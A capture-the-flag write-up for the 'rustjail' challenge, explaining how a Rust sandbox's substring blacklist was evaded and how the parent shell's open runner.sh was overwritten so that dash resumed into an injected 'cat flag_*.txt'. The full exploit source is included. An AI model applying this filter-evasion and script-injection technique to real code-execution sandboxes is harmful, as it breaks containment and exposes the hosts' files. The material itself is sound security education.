rustjail
b01lersc
Task: a remote Rust jail compiles attacker code under a harsh substring blacklist, hiding the flag as a randomized file in the working directory. Solution: use test::TestOpts.logfile to reach safe PathBuf procfs primitives, find the parent shell's open runner.sh FD, then overwrite the script so dash resumes into `cat flag_*.txt` at the old EOF offset.
$ ls tags/ techniques/
rustjail — b01lers CTF 2026
Description
The original organizer prompt was not preserved in the provided files; the challenge was solved through the remote Rust jail service and local notes.
The service accepted a Rust payload over ncat --ssl, wrote it into src/main.rs, and executed cargo run with nightly 2025-09-25 and edition 2024. The goal was to escape the restrictions, discover the randomized flag_<32hex>.txt in the temporary working directory, and print its contents.
Overview / Challenge Setup
At runtime the working directory looked like /tmp/tmp_x/src and contained:
Cargo.tomlrunner.shwrapper.pyget_payload.pycargo_home/src/main.rsflag_<32hex>.txt
The filter was a simple Python substring blacklist over the Rust source. These raw substrings were banned:
unsafe, path, flag, std, alloc, core, include, impl, concat, macro, <, >, '
This is much weaker than an AST-based filter. It blocks exact text, not semantics, so string escapes like "\x66lag_*.txt" still produce the forbidden string at runtime.
Restriction Analysis
The obvious read-file routes were cut off:
std::fs::*was impossible becausestdwas blacklisted.- FFI through
libc::openwas blocked because edition 2024 requiresunsafe extern, andunsafewas blacklisted. include_*and#[path]were also blocked directly.
The important positive discovery was that extern crate test; and #![feature(test)] still worked. That gave access to test::TestOpts, test::TestDescAndFn, and test::test_main.
Two key primitives came out of that:
- Blacklist bypass inside strings. Raw source checks can be dodged with escapes such as
"\x66lag_*.txt". - Indirect
PathBufconstruction.test::TestOpts.logfilehas typeOption<PathBuf>, so writing
let p = test::TestOpts { logfile: Some("/proc/self/exe".into()), ..opts }.logfile.unwrap();
produced a safe path object without ever writing banned tokens like std or path in source. From there, safe methods such as read_link, read_dir, join, and metadata became available.
Recon via TestOpts.logfile and procfs
Using that indirect PathBuf, procfs reconnaissance revealed the real execution model:
/proc/self/exe -> /tmp/tmp_x/src/target/debug/rustjail- Process tree on remote:
- PID 1:
python3 - PID 2:
/usr/bin/dash - PID 7: our compiled binary
- PID 1:
- PID 2 had
FD 10 -> /tmp/tmp_x/src/runner.sh
That immediately suggested a better target than the executable itself: the parent shell script that launched cargo run and was still open in dash.
Key Failed Idea: self-overwriting the executable
The first serious exploitation idea was to overwrite target/debug/rustjail and then let the next spawned child execute modified content. On the real service that failed with:
Os { code: 26, kind: ExecutableFileBusy, message: "Text file busy" }
So direct self-overwrite hit ETXTBSY and was a dead end.
Final Exploit Chain
The winning pivot was to target runner.sh instead of target/debug/rustjail.
Why runner.sh worked
test::test_main --list --logfile <path> writes test output to the chosen file. Pointing --logfile at /proc/2/fd/10 effectively opened the parent shell's already-open runner.sh for writing. The crucial behavior was:
- the underlying
runner.shwas truncated and rewritten from byte 0; - the parent
dashprocess kept its original open file descriptor and read position; - after
cargo runreturned,dashcontinued reading from that old descriptor.
The original remote runner.sh size was 372 bytes. That meant the shell would resume reading at about the old EOF. So the rewritten file had to be longer than 372 bytes, with a valid shell command landing exactly where dash would continue.
Offset 372 trick
test::test_main --list writes lines beginning with test . The final payload exploited that prefix: it used one giant first test name so that after the five-byte prefix, cat flag_*.txt started at the required location near byte offset 372. Two extra fallback lines of x;cat flag_*.txt were appended in case alignment drifted.
Once our Rust program exited, the parent shell resumed execution inside attacker-controlled bytes past the old EOF and ran cat flag_*.txt. The flag printed three times: once from the aligned hit and twice from the backup lines.
Final Exploit Code
This was the final working payload from exploit_runner_offset.rs:
#![feature(test)] extern crate test; fn main() { let a = test::TestDescAndFn { desc: test::TestDesc { name: test::DynTestName( format!("{}cat \x66lag_*.txt", "x".repeat(367)), ), ignore: false, ignore_message: None, source_file: file!(), start_line: line!() as _, start_col: 0, end_line: line!() as _, end_col: 0, should_panic: test::ShouldPanic::No, compile_fail: false, no_run: false, test_type: test::TestType::Unknown, }, testfn: test::DynTestFn(Box::new(|| Ok(()))), }; let b = test::TestDescAndFn { desc: test::TestDesc { name: test::DynTestName("x;cat \x66lag_*.txt".to_string()), ignore: false, ignore_message: None, source_file: file!(), start_line: line!() as _, start_col: 0, end_line: line!() as _, end_col: 0, should_panic: test::ShouldPanic::No, compile_fail: false, no_run: false, test_type: test::TestType::Unknown, }, testfn: test::DynTestFn(Box::new(|| Ok(()))), }; let c = test::TestDescAndFn { desc: test::TestDesc { name: test::DynTestName("x;cat \x66lag_*.txt".to_string()), ignore: false, ignore_message: None, source_file: file!(), start_line: line!() as _, start_col: 0, end_line: line!() as _, end_col: 0, should_panic: test::ShouldPanic::No, compile_fail: false, no_run: false, test_type: test::TestType::Unknown, }, testfn: test::DynTestFn(Box::new(|| Ok(()))), }; let v = vec![ "x".to_string(), "--list".to_string(), "--logfile".to_string(), "runner.sh".to_string(), ]; test::test_main(&v, vec![a, b, c], None); }
Solution Summary
- Send a safe Rust payload to the remote service.
- Use
test::TestOpts.logfileto obtain a safePathBufindirectly. - Traverse procfs and discover that the parent
dashprocess holdsrunner.shopen as FD 10. - Confirm that self-overwriting
target/debug/rustjailfails withETXTBSY. - Use
test::test_main --list --logfile runner.shto rewrite the script instead. - Make the new script longer than 372 bytes and place
cat flag_*.txtexactly where the shell resumes reading. - Let
cargo runfinish; the parent shell continues into the injected command and prints the randomized flag file.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [misc][free]blazinglyfast— b01lersc
- [web][free]Prison Pipeline— hackthebox_business_ctf_2024
- [pwn][Pro]cat /flag under seccomp— spbctf
- [misc][free]build-a-builtin-revenge— b01lersc
- [misc][Pro]HashCashSlash— 0xl4ugh